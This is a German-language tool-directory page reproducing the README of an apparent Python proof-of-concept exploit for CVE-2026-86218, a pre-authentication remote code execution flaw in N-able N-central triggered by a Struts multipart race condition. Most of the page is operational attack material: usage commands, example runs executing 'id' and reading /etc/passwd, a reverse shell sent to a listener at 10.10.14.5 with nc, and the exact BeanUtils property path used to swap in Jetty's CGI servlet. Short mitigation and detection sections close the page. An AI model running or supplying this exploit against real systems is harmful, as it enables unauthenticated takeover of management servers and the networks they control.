Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-86218 — Python-3-Proof-of-Concept-Exploit für CVE-2026-86218, eine Pre-Auth-RCE in N-able N-central über eine Struts-Multipart-Race-Condition, mit Unterstützung für Befehlsausführung und Reverse Shell. | Kitploit
Tools/GitHubGitHub/super-meuw/cve-2026-86218
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

Python-3-Proof-of-Concept-Exploit für CVE-2026-86218, eine Pre-Auth-RCE in N-able N-central über eine Struts-Multipart-Race-Condition, mit Unterstützung für Befehlsausführung und Reverse Shell.

41vor 25 TagenNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit

Übersicht

Dies ist ein Python-3-Proof-of-Concept-Exploit für CVE-2026-86218, eine kritische Remote-Code-Execution-Schwachstelle vor der Authentifizierung in N-able N-central.

Details zur Schwachstelle:

  • CVE: CVE-2026-86218
  • CVSS-Score: 10.0 (Kritisch)
  • CWE: CWE-96 (Static Code Injection)
  • Betroffene Versionen: N-central < 2026.3.1.14
  • Angriffsvektor: Netzwerk (Nicht authentifiziert)

Beschreibung der Schwachstelle

N-able N-central verwendet ein sitzungsgebundenes Struts-Formular für eine nicht authentifizierte Aktion (/remoteControlAction.do). Zwei gleichzeitige Multipart-Anfragen können den Multipart-Handler des Formulars überrennen und die Live-Konfiguration von Jetty für die Property-Population von Commons BeanUtils offenlegen. Dies ermöglicht einem Angreifer:

  1. Einen lazy N-central Servlet-Holder (z. B. LogRetrieval) durch Jettys mitgeliefertes CGI-Servlet zu ersetzen
  2. Das CGI-Servlet so zu konfigurieren, dass es beliebige Befehle über /bin/sh -s ausführt
  3. Befehle über das URL-Mapping des ersetzten Servlets zu senden

Voraussetzungen

pip install requests

Verwendung

Grundlegende Syntax

python3 CVE-2026-86218.py -t <target_url> [options]

Optionen

OptionBeschreibung
-t, --targetZiel-N-central-URL (z. B. https://192.168.1.100)
-c, --commandEinzelner auszuführender Befehl
-i, --interactiveInteraktiver Befehlsmodus
--lhostListener-IP für Reverse Shell
--lportListener-Port (Standard: 4444)
--servletZu ersetzendes Servlet: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--checkPrüfen, ob das Ziel anfällig ist
--no-verify-sslSSL-Zertifikatsüberprüfung deaktivieren
--timeoutAnfrage-Timeout (Standard: 30s)
--race-delayVerzögerung der Race Condition (Standard: 0.35s)
-v, --verboseAusführliche Ausgabe aktivieren

Beispiele

1. Prüfen, ob das Ziel anfällig ist

python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

Erwartete Ausgabe:

[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. Einzelnen Befehl ausführen

python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

Erwartete Ausgabe:

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. Reverse Shell

Zuerst Listener starten:

nc -lvnp 4444

Exploit ausführen:

python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

Erwartete Ausgabe:

[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

Listener-Ausgabe:

listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. Interaktiver Modus

python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

Interaktive Sitzung:

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. Anderes Servlet verwenden

# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

Servlet-Optionen

ServletBeschreibungAuswirkung
LogRetrievalLog-Abruf-Endpunkt (Standard)Am wenigsten störend, Logs bis zum Neustart nicht verfügbar
FileTransferDateiübertragungs-EndpunktBeeinträchtigt die Dateiübertragungsfunktionalität
AutomationManagerDownloadServletAutomation-Manager-DownloadErfordert Management-UI-Port (8443)

Funktionsweise

Ausnutzungsablauf

  1. Versionsprüfung: /remoteControlAction.do abfragen, um die Version aus der Fehlerseite zu extrahieren
  2. Sitzungserwerb: Nicht authentifizierte JSESSIONID erhalten
  3. Race Condition:
    • Langsame Multipart-Anfrage senden, die während des Parsens pausiert
    • Während der Pause eine Hilfsanfrage senden, um einen Handler im gemeinsamen Formular zu installieren
    • Langsame Anfrage mit BeanUtils-Property-Injection-Feldern fortsetzen
  4. Servlet-Ersetzung: LogRetrieval durch Jetty CGI-Servlet ersetzen
  5. Befehlsausführung: Befehle über den CGI-Endpunkt senden

Technische Details

Die Schwachstelle nutzt eine Race Condition in der Multipart-Formularverarbeitung von Struts aus:

  • Struts speichert ein Formularobjekt pro HTTP-Sitzung
  • Zu Beginn einer Multipart-Anfrage entfernt Struts den Multipart-Handler des Formulars
  • Eine langsame Anfrage pausiert, während Struts noch den Body liest
  • Eine Hilfsanfrage wird abgeschlossen und installiert ihren initialisierten Handler
  • Wenn die langsame Anfrage fortgesetzt wird, folgt BeanUtils den präparierten Feldnamen durch den Handler
  • Diese Felder navigieren zu Jettys WebAppContext und ersetzen den Servlet-Holder

Die Mutationsfelder verwenden JavaBean-Property-Pfade:

multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

Dies durchläuft: Multipart-Handler → Servlet-Kontext → Classloader → WebAppContext → Servlet-Handler → spezifischer Holder

Gegenmaßnahmen

  1. Sofort patchen: Upgrade auf N-central 2026.3.1.14 oder höher
  2. Zugriff einschränken: Eingehenden Zugriff auf die N-central-Konsole begrenzen
  3. Netzwerksegmentierung: N-central hinter VPN oder IP-Allowlisting platzieren
  4. Logs überwachen: Auf verdächtige API-Aktivitäten und Benutzererstellung prüfen

Erkennung

Log-Indikatoren

  • Ungewöhnliche Anfragen an /remoteControlAction.do
  • Multipart-Anfragen mit ungewöhnlichen Feldnamen
  • CGI-bezogene Aktivitäten auf LogRetrieval-Endpunkten
  • Unerwartete Erstellung von Benutzerkonten

Netzwerk-Indikatoren

  • Mehrere schnelle Anfragen an denselben Endpunkt
  • Große Multipart-Payloads
  • Verbindungen von ungewöhnlichen Quell-IPs

Referenzen

Tool herunterladen